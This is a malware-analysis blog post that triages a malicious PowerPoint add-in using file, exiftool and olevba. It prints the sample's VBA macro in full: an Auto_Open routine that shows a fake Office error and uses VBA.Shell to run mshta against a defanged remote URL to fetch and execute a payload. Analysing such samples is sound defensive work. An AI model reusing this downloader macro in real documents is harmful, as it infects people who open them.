In this post I want to walk through analysis of a malicious PowerPoint file using olevba. This tool allows you to view macros within Office documents without opening them. If you want to follow along at home, I’m using this sample from MalwareBazaar:
https://bazaar.abuse.ch/sample/a0f6d9d905b64be221a64da385ad1fd14542c93b35f23cdcbedf71febc68a505/
Triaging the File
VirusTotal and MalwareBazaar think the sample is a PowerPoint file with macros, but they could always be wrong. We can confirm using the file utility.
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remnux@remnux:~/cases/ppt$ file PO04012022.ppam
PO04012022.ppam: Microsoft PowerPoint 2007+
Sure enough, the magic bytes say the file is a PowerPoint presentation. Now let’s take a look at the size with exiftool.
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remnux@remnux:~/cases/ppt$ exiftool PO04012022.ppam
ExifTool Version Number : 12.30
File Name : PO04012022.ppam
Directory : .
File Size : 8.6 KiB
File Modification Date/Time : 2022:01:06 02:01:18-05:00
File Access Date/Time : 2022:01:05 21:17:11-05:00
File Inode Change Date/Time : 2022:01:05 21:03:25-05:00
File Permissions : -rw-r--r--
File Type : PPAM
File Type Extension : ppam
MIME Type : application/vnd.ms-powerpoint.addin.macroEnabled.12
Zip Required Version : 20
Zip Bit Flag : 0
Zip Compression : Deflated
Zip Modify Date : 2022:01:03 23:05:02
Zip CRC : 0xb918195e
Zip Compressed Size : 283
Zip Uncompressed Size : 597
Zip File Name : [Content_Types].xml
The file weighs in at under 9 KiB, so I would hazard a guess that it doesn’t contain much, if any, embedded content like binaries. Now let’s dig in with analysis tools.
Analyzing the PPAM
We can issue a simple olevba command and see the output that comes back by default.
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remnux@remnux:~/cases/ppt$ olevba PO04012022.ppam
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: PO04012022.ppam
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Class1.cls
in file: ppt/qwqwae.d - OLE stream: 'VBA/Class1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function lol()
Debug.Assert (VBA.Shell("c:\windows\system32\calc\..\conhost.exe c:\windows\system32\calc\..\conhost.exe mshta hxxp://www.j[.]mp/askswewewewzxzxkd"))
End Function
-------------------------------------------------------------------------------
VBA MACRO Module11.bas
in file: ppt/qwqwae.d - OLE stream: 'VBA/Module11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Auto_Open()
Dim obj As New Class1
Debug.Print MsgBox("ERROR!Re-Install Office", vbOKCancel); returns; 1
obj.lol
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|windows |May enumerate application windows (if |
| | |combined with Shell.Application object) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |hxxp://www.j[.]mp/asks|URL |
| |wewewewzxzxkd | |
|IOC |conhost.exe |Executable file name |
+----------+--------------------+---------------------------------------------+
There’s a fair bit of information to work through here. Olevba does some analysis work for you to point out suspicious features of the macro code. First, the sample contains macro code defining an Auto_Open function. Just like it sounds, whatever is in this function will get executed as soon as the document gets opened. The output shows olevba found possible obfuscated strings, an executable name, and a URL. Looking further back we can see the actual macro code. First, let’s take a look at that Auto_Open function.
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Sub Auto_Open()
Dim obj As New Class1
Debug.Print MsgBox("ERROR!Re-Install Office", vbOKCancel); returns; 1
obj.lol
End Sub
The macro creates an object obj of the type Class1, which must also be defined in the macro. It pops up a messagebox (MsgBox) with an error message to distract the victim. Finally, it calls the function obj.lol(). Let’s dive into Class1 to see what its lol() function does.
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Public Function lol()
Debug.Assert (VBA.Shell("c:\windows\system32\calc\..\conhost.exe c:\windows\system32\calc\..\conhost.exe mshta hxxp://www.j[.]mp/askswewewewzxzxkd"))
End Function
The lol() function uses VBA.Shell to launch the command in the provided string. As for the string, I’m not really sure what they’re trying to do here. I assume they’re going for some form of evasion where they somehow call mshta.exe but muddy the water with conhost.exe processes during analysis. The sandbox report from Joe Sandbox doesn’t indicate mshta.exe actually executed. As for the final payload, the adversary presumably has a HTML Application (HTA) file hosted at hxxp://www.j[.]mp/askswewewewzxzxkd and if mshta.exe downloads executes the payload it might execute arbitrary script content.
That’s it for today, thanks for reading!